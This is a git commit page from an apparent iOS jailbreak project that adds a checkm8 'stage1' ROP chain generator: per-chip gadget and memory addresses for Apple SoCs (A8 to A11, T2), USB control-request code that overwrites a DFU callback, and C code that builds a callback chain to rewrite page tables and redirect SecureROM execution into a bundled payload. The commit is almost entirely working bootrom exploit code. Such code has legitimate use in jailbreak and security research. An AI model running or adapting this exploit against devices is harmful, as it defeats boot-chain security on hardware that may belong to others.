feat(m8): stage1 generator

Co-Authored-By: meow <[email protected]>
This commit is contained in:
CLARATIONandmeow committed 2026-07-02 16:42:23 -07:00
1 parent df7435f937
commit 89b6147e26
17 files changed
+384 -177

No files matched your search

+1 -1
View File
@@ -141,7 +141,7 @@ make palera1n_mingw WITH_STATIC=1 WITH_GUI=1
- [mineek](https://github.com/mineek) - Checkm8 exploit re-implementation (openra1n) using [gaster](https://github.com/0x7ff/gaster).
- [alfiecg24](https://github.com/mineek) - Achilles, based on openra1n.
- [kok3shidoll](https://github.com/kok3shidoll) - PongoOS patches.
- [kok3shidoll](https://github.com/kok3shidoll) - PongoOS patches, ROP chain generator.
- [itsnebulalol](https://github.com/itsnebulalol) - Palera1n v1.
- [staturnz](https://github.com/staturnz) - Contributions, Loader.
- [plooshi](https://github.com/plooshi) - Plooshfinder, various legacy patches.
+3
View File
@@ -0,0 +1,3 @@
# Payloads
Payloads are gathered from https://checkra.in/1337
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+15 -16
View File
@@ -7,6 +7,7 @@
#include "payload.h"
#include "dfu.h"
#include "stage1.h"
#include "../utils.h"
#include "../usb/shim.h"
@@ -153,28 +154,26 @@ bool checkm8_stage_spray(const usb_handle_t *handle, struct DeviceConfiguration
bool checkm8_stage_patch(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig, struct PayloadConfiguration *payloadConfig) {
size_t i, data_sz, packet_sz;
const uint8_t *payload = NULL;
uint8_t *data;
transfer_ret_t transfer_ret;
bool ret = false;
void* blank[DFU_MAX_TRANSFER_SZ];
memset(blank, 0, DFU_MAX_TRANSFER_SZ);
uint64_t* p = (uint64_t*)blank;
p[5] = payloadConfig->insecure_memory_base;
void* checkra1n_payload = NULL;
void *overwrite = NULL;
size_t checkra1n_payload_sz = 0;
size_t overwrite_sz = 0;
ret = create_pongo_payload_for_device(deviceConfig->cpid, &payload, &data_sz);
checkm8_overwrite_t checkm8_overwrite;
memset(&checkm8_overwrite, '\0', sizeof(checkm8_overwrite));
checkm8_overwrite.callback.next = payloadConfig->insecure_memory_base;
overwrite = &checkm8_overwrite;
overwrite_sz = sizeof(checkm8_overwrite);
ret = create_pongo_payload_for_device(deviceConfig->cpid, &checkra1n_payload, &checkra1n_payload_sz);
if (!ret) return false;
LOG_VERBOSE("setting up stage 2 for CPID 0x%X", (unsigned)deviceConfig->cpid);
data = calloc(1, data_sz);
if (!data) {
LOG_ERROR("failed to allocate payload buffer");
return false;
}
memcpy(data, payload, data_sz);
ret = generate_stage1(&data, &data_sz, checkra1n_payload, checkra1n_payload_sz, deviceConfig, payloadConfig);
if (!ret) return false;
if(checkm8_usb_request_stall(handle) && checkm8_usb_request_leak(handle)) {
LOG_VERBOSE("successfully leaked data");
@@ -186,7 +185,7 @@ bool checkm8_stage_patch(const usb_handle_t *handle, struct DeviceConfiguration
LOG_VERBOSE("i = %zu", i);
send_usb_control_request_no_data(handle, 2, 3, 0, 0x80, 0, NULL);
}
if(p != NULL && send_usb_control_request(handle, 0x00, 0, 0, 0x00, p, 0x30, &transfer_ret) && transfer_ret.ret == USB_TRANSFER_STALL) {
if(overwrite != NULL && send_usb_control_request(handle, 0x00, 0, 0, 0x00, overwrite, overwrite_sz, &transfer_ret) && transfer_ret.ret == USB_TRANSFER_STALL) {
ret = true;
for(i = 0; ret && i < data_sz; i += packet_sz) {
packet_sz = MIN(data_sz - i, DFU_MAX_TRANSFER_SZ);
+98 -140
View File
@@ -12,6 +12,7 @@
#include "../gen/payloads/yolo_t7001.h"
#include "../gen/payloads/yolo_t8010.h"
#include "../gen/payloads/yolo_t8011.h"
#include "../gen/payloads/yolo_t8012.h"
#include "../gen/payloads/yolo_t8015.h"
bool checkm8_find_device_configuration_for_cpid(
@@ -64,160 +65,116 @@ bool checkm8_find_payload_configuration_for_cpid(
bool foundMatchingConfiguration = true;
switch (cpid) {
case A11:
config->tlbi = 0x1000004AC;
config->nop_gadget = 0x10000A9C4;
config->ret_gadget = 0x100000148;
config->patch_addr = 0x10000624C;
config->ttbr0_addr = 0x18000C000;
config->func_gadget = 0x10000A9AC;
config->write_ttbr0 = 0x10000045C;
config->memcpy_addr = 0x10000E9D0;
config->aes_crypto_cmd = 0x100009E9C;
config->boot_tramp_end = 0x18001C000;
config->ttbr0_vrom_off = 0x400;
config->ttbr0_sram_off = 0x600;
config->gUSBSerialNumber = 0x180003A78;
config->dfu_handle_request = 0x180008638;
config->usb_core_do_transfer = 0x10000B9A8;
config->dfu_handle_bus_reset = 0x180008668;
config->insecure_memory_base = 0x18001C000;
config->handle_interface_request = 0x10000BCCC;
config->usb_create_string_descriptor = 0x10000AE80;
config->usb_serial_number_string_descriptor = 0x1800008FA;
config->insecure_memory_base = 0x18001C000;
config->func_gadget = 0x10000a998;
config->tlbi = 0x1000004AC;
config->write_prim = 0x100009c48;
config->arm_clean_invalidate_dcache_line = 0x1000004e4;
config->arm_invalidate_icache = 0x1000004c0;
config->enter_critical_section = 0x10000f958;
config->exit_critical_section = 0x10000f9a0;
config->write_ttbr0 = 0x10000045c;
config->tlbi = 0x1000004ac;
config->TTBR0_PATCH_BASE = 0x180020000;
config->TTBR0_BASE = 0xc000;
config->bootstrap_task_lr = 0x180015f88;
config->payload_start_offset = 0x800;
break;
case T2:
config->tlbi = 0x100000494;
config->nop_gadget = 0x100008DB8;
config->ret_gadget = 0x10000012C;
config->patch_addr = 0x100004854;
config->ttbr0_addr = 0x18000C000;
config->func_gadget = 0x100008DA0;
config->write_ttbr0 = 0x100000444;
config->memcpy_addr = 0x10000EA30;
config->aes_crypto_cmd = 0x1000082AC;
config->boot_tramp_end = 0x18001C000;
config->ttbr0_vrom_off = 0x400;
config->ttbr0_sram_off = 0x600;
config->gUSBSerialNumber = 0x180003AF8;
config->dfu_handle_request = 0x180008B08;
config->usb_core_do_transfer = 0x10000BD20;
config->dfu_handle_bus_reset = 0x180008B38;
config->insecure_memory_base = 0x18001C000;
config->handle_interface_request = 0x10000BFFC;
config->usb_create_string_descriptor = 0x10000B1CC;
config->usb_serial_number_string_descriptor = 0x18000082A;
config->insecure_memory_base = 0x18001C000;
config->func_gadget = 0x100008d8c;
config->write_prim = 0x100008058;
config->arm_clean_invalidate_dcache_line = 0x1000004cc;
config->arm_invalidate_icache = 0x1000004a8;
config->enter_critical_section = 0x10000f9b8;
config->exit_critical_section = 0x10000fa00;
config->write_ttbr0 = 0x100000444;
config->tlbi = 0x100000494;
config->TTBR0_PATCH_BASE = 0x180020000;
config->TTBR0_BASE = 0xc000;
config->bootstrap_task_lr = 0x180015f78;
config->payload_start_offset = 0x800;
break;
case A10X:
config->tlbi = 0x100000444;
config->nop_gadget = 0x10000CD0C;
config->ret_gadget = 0x100000148;
config->patch_addr = 0x100007630;
config->ttbr0_addr = 0x1800A0000;
config->func_gadget = 0x10000CCEC;
config->write_ttbr0 = 0x1000003F4;
config->memcpy_addr = 0x100010950;
config->aes_crypto_cmd = 0x10000C994;
config->boot_tramp_end = 0x1800B0000;
config->ttbr0_vrom_off = 0x400;
config->ttbr0_sram_off = 0x600;
config->gUSBSerialNumber = 0x180083D28;
config->dfu_handle_request = 0x180088A58;
config->usb_core_do_transfer = 0x10000DD64;
config->dfu_handle_bus_reset = 0x180088A88;
config->insecure_memory_base = 0x1800B0000;
config->handle_interface_request = 0x10000E08C;
config->usb_create_string_descriptor = 0x10000D234;
config->usb_serial_number_string_descriptor = 0x18008062A;
config->insecure_memory_base = 0x1800B0000;
config->func_gadget = 0x10000cce4;
config->write_prim2 = 0x100001804;
config->arm_clean_invalidate_dcache_line = 0x10000047c;
config->arm_invalidate_icache = 0x100000458;
config->enter_critical_section = 0x10000a658;
config->exit_critical_section = 0x10000a6a0;
config->write_ttbr0 = 0x1000003F4;
config->tlbi = 0x100000444;
config->TTBR0_PATCH_BASE = 0x1800b4000;
config->TTBR0_BASE = 0xa0000;
config->bootstrap_task_lr = 0x1800a9f88;
config->payload_start_offset = 0x800;
break;
case A10:
config->tlbi = 0x100000434;
config->nop_gadget = 0x10000CC6C;
config->ret_gadget = 0x10000015C;
config->patch_addr = 0x1000074AC;
config->ttbr0_addr = 0x1800A0000;
config->func_gadget = 0x10000CC4C;
config->write_ttbr0 = 0x1000003E4;
config->memcpy_addr = 0x100010730;
config->aes_crypto_cmd = 0x10000C8F4;
config->boot_tramp_end = 0x1800B0000;
config->ttbr0_vrom_off = 0x400;
config->ttbr0_sram_off = 0x600;
config->gUSBSerialNumber = 0x180083CF8;
config->dfu_handle_request = 0x180088B48;
config->usb_core_do_transfer = 0x10000DC98;
config->dfu_handle_bus_reset = 0x180088B78;
config->insecure_memory_base = 0x1800B0000;
config->handle_interface_request = 0x10000DFB8;
config->usb_create_string_descriptor = 0x10000D150;
config->usb_serial_number_string_descriptor = 0x1800805DA;
config->insecure_memory_base = 0x1800B0000;
config->func_gadget = 0x10000cc44;
config->write_prim2 = 0x100001808;
config->arm_clean_invalidate_dcache_line = 0x10000046c;
config->arm_invalidate_icache = 0x100000448;
config->enter_critical_section = 0x10000A4B8;
config->exit_critical_section = 0x10000A514;
config->write_ttbr0 = 0x1000003E4;
config->tlbi = 0x100000434;
config->TTBR0_PATCH_BASE = 0x1800b4000;
config->TTBR0_BASE = 0xa0000;
config->bootstrap_task_lr = 0x1800a9f68;
config->payload_start_offset = 0x800;
break;
case A9X:
config->tlbi = 0x100000404;
config->nop_gadget = 0x10000CD60;
config->ret_gadget = 0x100000118;
config->patch_addr = 0x100007668;
config->ttbr0_addr = 0x180050000;
config->func_gadget = 0x10000CD40;
config->write_ttbr0 = 0x1000003B4;
config->memcpy_addr = 0x1000106F0;
config->aes_crypto_cmd = 0x10000C9D4;
config->boot_tramp_end = 0x180044000;
config->ttbr0_vrom_off = 0x400;
config->ttbr0_sram_off = 0x600;
config->gUSBSerialNumber = 0x180047578;
config->dfu_handle_request = 0x18004C378;
config->usb_core_do_transfer = 0x10000DDA4;
config->dfu_handle_bus_reset = 0x18004C3A8;
config->insecure_memory_base = 0x180000000;
config->handle_interface_request = 0x10000E0B4;
config->usb_create_string_descriptor = 0x10000D280;
config->usb_serial_number_string_descriptor = 0x18004486A;
config->insecure_memory_base = 0x180000000;
config->func_gadget = 0x10000cd38;
config->write_prim2 = 0x100001a78;
config->arm_clean_invalidate_dcache_line = 0x10000043c;
config->arm_invalidate_icache = 0x100000418;
config->enter_critical_section = 0x100009b24;
config->exit_critical_section = 0x100009b88;
config->write_ttbr0 = 0x1000003b4;
config->tlbi = 0x100000404;
config->TTBR0_PATCH_BASE = 0x180004000;
config->TTBR0_BASE = 0x50000;
config->bootstrap_task_lr = 0x180059f58;
config->payload_start_offset = 0x800;
break;
case A9:
config->insecure_memory_base = 0x180380000;
config->func_gadget = 0x10000de0c;
config->write_prim2 = 0x100001bc0;
config->arm_clean_invalidate_dcache_line = 0x10000042c;
config->arm_invalidate_icache = 0x100000408;
config->bootstrap_task_lr = 0x1800c2f58;
config->payload_start_offset = 0xc0;
break;
case A9_TSMC:
case A9:
config->patch_addr = 0x10000812C;
config->ttbr0_addr = 0x1800C8000;
config->memcpy_addr = 0x100011030;
config->aes_crypto_cmd = 0x10000DAA0;
config->boot_tramp_end = 0x1800E1000;
config->ttbr0_vrom_off = 0x400;
config->ttbr0_sram_off = 0x600;
config->gUSBSerialNumber = 0x180087958;
config->dfu_handle_request = 0x1800878F8;
config->usb_core_do_transfer = 0x10000EE78;
config->dfu_handle_bus_reset = 0x180087928;
config->insecure_memory_base = 0x180380000;
config->handle_interface_request = 0x10000F1B0;
config->usb_create_string_descriptor = 0x10000E354;
config->usb_serial_number_string_descriptor = 0x1800807DA;
config->insecure_memory_base = 0x180380000;
config->func_gadget = 0x10000de0c;
config->write_prim2 = 0x100001bc0;
config->arm_clean_invalidate_dcache_line = 0x10000042c;
config->arm_invalidate_icache = 0x100000408;
config->bootstrap_task_lr = 0x1800c2f58;
config->payload_start_offset = 0xc0;
break;
case A8X:
config->patch_addr = 0x10000AD04;
config->memcpy_addr = 0x100013F10;
config->aes_crypto_cmd = 0x100010A90;
config->boot_tramp_end = 0x1800E1000;
config->gUSBSerialNumber = 0x180088E48;
config->dfu_handle_request = 0x180088DF8;
config->usb_core_do_transfer = 0x100011BB4;
config->dfu_handle_bus_reset = 0x180088E18;
config->insecure_memory_base = 0x180380000;
config->handle_interface_request = 0x100011EE4;
config->usb_create_string_descriptor = 0x100011074;
config->usb_serial_number_string_descriptor = 0x180080C2A;
config->insecure_memory_base = 0x180380000;
config->func_gadget = 0x100010df4;
config->write_prim = 0x10000ed5c;
config->arm_clean_invalidate_dcache_line = 0x100000448;
config->arm_invalidate_icache = 0x100000424;
config->bootstrap_task_lr = 0x1800c2f68;
config->payload_start_offset = 0xc0;
break;
case A8:
config->patch_addr = 0x100007E98;
config->memcpy_addr = 0x100010E70;
config->aes_crypto_cmd = 0x10000DA90;
config->boot_tramp_end = 0x1800E1000;
config->gUSBSerialNumber = 0x1800888C8;
config->dfu_handle_request = 0x180088878;
config->usb_core_do_transfer = 0x10000EBB4;
config->dfu_handle_bus_reset = 0x180088898;
config->insecure_memory_base = 0x180380000;
config->handle_interface_request = 0x10000EEE4;
config->usb_create_string_descriptor = 0x10000E074;
config->usb_serial_number_string_descriptor = 0x18008062A;
config->insecure_memory_base = 0x180380000;
config->func_gadget = 0x10000ddf4;
config->write_prim = 0x10000bc2c;
config->arm_clean_invalidate_dcache_line = 0x100000448;
config->arm_invalidate_icache = 0x100000424;
config->bootstrap_task_lr = 0x1800c2f68;
config->payload_start_offset = 0xc0;
break;
default:
LOG_ERROR("CPID 0x%x is not supported!", cpid);
@@ -228,6 +185,7 @@ bool checkm8_find_payload_configuration_for_cpid(
static const yolo_payload_t yolo_payloads[] = {
{A11, payloads_yolo_t8015_bin, payloads_yolo_t8015_bin_len},
{T2, payloads_yolo_t8012_bin, payloads_yolo_t8012_bin_len},
{A10X, payloads_yolo_t8011_bin, payloads_yolo_t8011_bin_len},
{A10, payloads_yolo_t8010_bin, payloads_yolo_t8010_bin_len},
{A9_TSMC, payloads_yolo_s8003_bin, payloads_yolo_s8003_bin_len},
+13 -20
View File
@@ -26,27 +26,20 @@ struct DeviceConfiguration {
struct PayloadConfiguration {
uint64_t
tlbi,
nop_gadget,
ret_gadget,
patch_addr,
ttbr0_addr,
func_gadget,
write_ttbr0,
memcpy_addr,
aes_crypto_cmd,
boot_tramp_end,
ttbr0_vrom_off,
ttbr0_sram_off,
gUSBSerialNumber, // ??
dfu_handle_request,
usb_core_do_transfer,
dfu_handle_bus_reset,
insecure_memory_base,
handle_interface_request,
usb_create_string_descriptor,
usb_serial_number_string_descriptor;
uint32_t payload_dest_armv7;
func_gadget,
write_prim,
write_prim2,
arm_clean_invalidate_dcache_line,
arm_invalidate_icache,
enter_critical_section,
exit_critical_section,
write_ttbr0,
tlbi,
TTBR0_PATCH_BASE,
TTBR0_BASE,
bootstrap_task_lr,
payload_start_offset;
};
typedef struct {
+223
View File
@@ -0,0 +1,223 @@
#include "stage1.h"
#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <string.h>
#include "payload.h"
#define ARM_16K_TT_L2_SHIFT 25 // page descriptor shift
// https://github.com/palera1n/openra1n/blob/main/checkm8.c#L398-L580
bool generate_stage1(
void** outbuf,
size_t* outlen,
void* payload,
size_t payload_sz,
struct DeviceConfiguration *deviceConfig,
struct PayloadConfiguration *payloadConfig
) {
bool wnx = false;
uint64_t write_gadget = 0;
uint32_t write_val = 0;
uint64_t base_address = payloadConfig->insecure_memory_base;
if(deviceConfig->cpid == A9X || deviceConfig->cpid == A10 || deviceConfig->cpid == A10X || deviceConfig->cpid == T2 || deviceConfig->cpid == A11)
{
wnx = true;
}
size_t presize = wnx == true ? 0x800 : 0xc0;
void *buf = malloc(presize);
uint32_t nextOffset = 0;
unsigned char* nextBuf = NULL;
dfu_callback_t* cb = (dfu_callback_t*)buf;
nextBuf = buf;
uint32_t current_size = 0;
int count = 0;
#define PUSH(end, func, arg0, arg1) \
{ \
count++; \
current_size = nextOffset + sizeof(dfu_callback_t); \
if(!(current_size > (wnx == true ? 0x800 : 0xc0))) \
{ \
cb->callback = payloadConfig->func_gadget; \
if(count%3 == 0) \
nextOffset += 0x80; \
else \
nextOffset += 0x20; \
if(!end)cb->next = base_address + nextOffset; \
uint64_t* ptr = (uint64_t*)(cb); \
uint32_t* ptr32 = (uint32_t*)(cb); \
ptr[15] = func; \
if(func == payloadConfig->write_prim) \
{ \
ptr[14] = (uint64_t)(arg0 - 4); \
ptr32[5] = (uint32_t)arg1; \
} \
else if(func == payloadConfig->write_prim2) \
{ \
ptr[14] = (uint64_t)arg0; \
ptr32[5] = (uint32_t)arg1; \
} \
else if(func == payloadConfig->write_ttbr0) \
{ \
ptr[14] = (uint64_t)arg0; \
} \
else if(func == payloadConfig->arm_clean_invalidate_dcache_line) \
{ \
ptr[14] = (uint64_t)arg0; \
} \
nextBuf = (unsigned char*)(buf + nextOffset); \
cb = (dfu_callback_t*)nextBuf; \
} \
else \
{ \
goto fail; \
} \
} \
if((deviceConfig->cpid == A11) || (deviceConfig->cpid == T2) || (deviceConfig->cpid == A8X) || (deviceConfig->cpid == A8))
{
write_gadget = payloadConfig->write_prim;
}
else
{
write_gadget = payloadConfig->write_prim2;
}
uint64_t vrom_address = 0x100000000;
uint64_t sram_address = 0x180000000;
uint64_t new_va = 0x142000000; // post-exploit
uint32_t vrom_off = (vrom_address >> ARM_16K_TT_L2_SHIFT) * 8;
uint32_t new_off = (new_va >> ARM_16K_TT_L2_SHIFT) * 8;
uint32_t sram_off = (sram_address >> ARM_16K_TT_L2_SHIFT) * 8;
uint64_t sram_rx_va = 0x140000000; // execute payload
uint64_t sram_rw_va = 0x142000000; // custom ttbr
uint32_t sram_rx_off = (sram_rx_va >> ARM_16K_TT_L2_SHIFT) * 8;
uint32_t sram_rw_off = (sram_rw_va >> ARM_16K_TT_L2_SHIFT) * 8;
uint64_t vrom_rw_va = 0x144000000;
uint32_t vrom_rw_off = (vrom_rw_va >> ARM_16K_TT_L2_SHIFT) * 8;
if(wnx) // only A9X-A11
{
// VROM: 0x100000000
uint64_t vrom_bit = vrom_address | 0x6a5;
uint32_t vrom_bit_lower = (uint32_t)(vrom_bit & 0xffffffff);
uint32_t vrom_bit_upper = (uint32_t)(vrom_bit >> 32);
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (vrom_off + 0), vrom_bit_lower);
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (vrom_off + 4), vrom_bit_upper);
// Newp: 0x142000000
uint64_t new_bit = sram_address | 0x621; // pa
new_bit |= (deviceConfig->cpid != A9X ? (1uL << 2) : (2uL << 2));
new_bit |= (1uL << 53); // PXN
new_bit |= (1uL << 54); // XN
uint32_t new_bit_lower = (uint32_t)(new_bit & 0xffffffff);
uint32_t new_bit_upper = (uint32_t)(new_bit >> 32);
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (new_off + 0), new_bit_lower);
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (new_off + 4), new_bit_upper);
// Newp: 0x144000000
uint64_t new_bit_2 = sram_address | 0x621; // pa
new_bit_2 |= (deviceConfig->cpid != A9X ? (1uL << 2) : (2uL << 2));
new_bit_2 |= (1uL << 53); // PXN
new_bit_2 |= (1uL << 54); // XN
uint32_t new_bit_lower_2 = (uint32_t)(new_bit_2 & 0xffffffff);
uint32_t new_bit_upper_2 = (uint32_t)(new_bit_2 >> 32);
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (vrom_rw_off + 0), new_bit_lower_2);
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (vrom_rw_off + 4), new_bit_upper_2);
// SRAM: 0x180000000
uint64_t sram_bit = sram_address | 0x3;
sram_bit |= (1uL << 63); // NS
if(deviceConfig->cpid == A11) sram_bit |= 0x10000;
if(deviceConfig->cpid == T2) sram_bit |= 0x10000;
if(deviceConfig->cpid == A10X) sram_bit |= 0xa4000;
if(deviceConfig->cpid == A10) sram_bit |= 0xa4000;
if(deviceConfig->cpid == A9X) sram_bit |= 0x54000;
uint32_t sram_bit_lower = (uint32_t)(sram_bit & 0xffffffff);
uint32_t sram_bit_upper = (uint32_t)(sram_bit >> 32);
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (sram_off + 0), sram_bit_lower);
PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (sram_off + 4), sram_bit_upper);
}
if(wnx)
{
write_val = (uint32_t)(((base_address & 0x01FFFFFF) | (sram_rx_va & 0xffffffff)) + payloadConfig->payload_start_offset);
}
else
{
write_val = (uint32_t)((base_address & 0xFFFFFFFF) + payloadConfig->payload_start_offset);
}
PUSH(0, write_gadget, payloadConfig->bootstrap_task_lr, write_val);
if(wnx) // only A9X-A11
{
PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, payloadConfig->TTBR0_PATCH_BASE + (vrom_off & ~0xff), 0);
PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, payloadConfig->TTBR0_PATCH_BASE + (new_off & ~0xff), 0);
PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, payloadConfig->TTBR0_PATCH_BASE + (sram_off & ~0xff), 0);
}
PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, base_address + payloadConfig->payload_start_offset, 0);
PUSH(wnx == true ? 0 : 1, payloadConfig->arm_invalidate_icache, 0, 0);
if(wnx) // only A9X-A11
{
uint64_t sram_rx_bit = sram_address | 0x6a5;
uint32_t sram_rx_bit_lower = (uint32_t)(sram_rx_bit & 0xffffffff);
uint32_t sram_rx_bit_upper = (uint32_t)(sram_rx_bit >> 32);
uint64_t sram_rw_bit = sram_address | 0x621;
sram_rw_bit |= (deviceConfig->cpid != A9X ? (1uL << 2) : (2uL << 2));
sram_rw_bit |= (1uL << 53); // PXN
sram_rw_bit |= (1uL << 54); // XN
uint32_t sram_rw_bit_lower = (uint32_t)(sram_rw_bit & 0xffffffff);
uint32_t sram_rw_bit_upper = (uint32_t)(sram_rw_bit >> 32);
uint64_t vrom_rw_bit = vrom_address | 0x621;
vrom_rw_bit |= (deviceConfig->cpid != A9X ? (1uL << 2) : (2uL << 2));
vrom_rw_bit |= (1uL << 53); // PXN
vrom_rw_bit |= (1uL << 54); // XN
uint32_t vrom_rw_bit_lower = (uint32_t)(vrom_rw_bit & 0xffffffff);
uint32_t vrom_rw_bit_upper = (uint32_t)(vrom_rw_bit >> 32);
PUSH(0, payloadConfig->enter_critical_section, 0, 0);
PUSH(0, payloadConfig->write_ttbr0, payloadConfig->TTBR0_PATCH_BASE, 0);
PUSH(0, payloadConfig->tlbi, 0, 0);
PUSH(0, write_gadget, vrom_rw_va + payloadConfig->TTBR0_BASE + (vrom_rw_off + 0), vrom_rw_bit_lower);
PUSH(0, write_gadget, vrom_rw_va + payloadConfig->TTBR0_BASE + (vrom_rw_off + 4), vrom_rw_bit_upper);
PUSH(0, write_gadget, sram_rw_va + payloadConfig->TTBR0_BASE + (sram_rx_off + 0), sram_rx_bit_lower);
PUSH(0, write_gadget, sram_rw_va + payloadConfig->TTBR0_BASE + (sram_rx_off + 4), sram_rx_bit_upper);
PUSH(0, write_gadget, sram_rw_va + payloadConfig->TTBR0_BASE + (sram_rw_off + 0), sram_rw_bit_lower);
PUSH(0, write_gadget, sram_rw_va + payloadConfig->TTBR0_BASE + (sram_rw_off + 4), sram_rw_bit_upper);
PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, vrom_rw_va + payloadConfig->TTBR0_BASE + (vrom_rw_off & ~0xff), 0);
PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, sram_rw_va + payloadConfig->TTBR0_BASE + (sram_rx_off & ~0xff), 0);
PUSH(0, payloadConfig->write_ttbr0, sram_address + payloadConfig->TTBR0_BASE, 0);
PUSH(0, payloadConfig->tlbi, 0, 0);
PUSH(1, payloadConfig->exit_critical_section, 0, 0);
}
*outlen = payload_sz + (wnx == true ? 0x800 : 0xc0);
*outbuf = malloc(*outlen);
memset(*outbuf, 0x0, *outlen);
memcpy(*outbuf, buf, wnx == true ? 0x800 : 0xc0);
memcpy(*outbuf + (wnx == true ? 0x800 : 0xc0), payload, payload_sz);
if(buf) free(buf);
return true;
fail:
if(buf) free(buf);
return false;
}
+31
View File
@@ -0,0 +1,31 @@
#ifndef STAGE1_H
#define STAGE1_H
#include <stdint.h>
#include <stdbool.h>
#include "payload.h"
typedef struct
{
uint32_t endpoint, pad_0;
uint64_t io_buffer;
uint32_t status, io_len, ret_cnt, pad_1;
uint64_t callback, next;
} dfu_callback_t;
typedef struct
{
dfu_callback_t callback;
} checkm8_overwrite_t;
bool generate_stage1(
void** outbuf,
size_t* outlen,
void* payload,
size_t payload_sz,
struct DeviceConfiguration *deviceConfig,
struct PayloadConfiguration *payloadConfig
);
#endif // STAGE1_H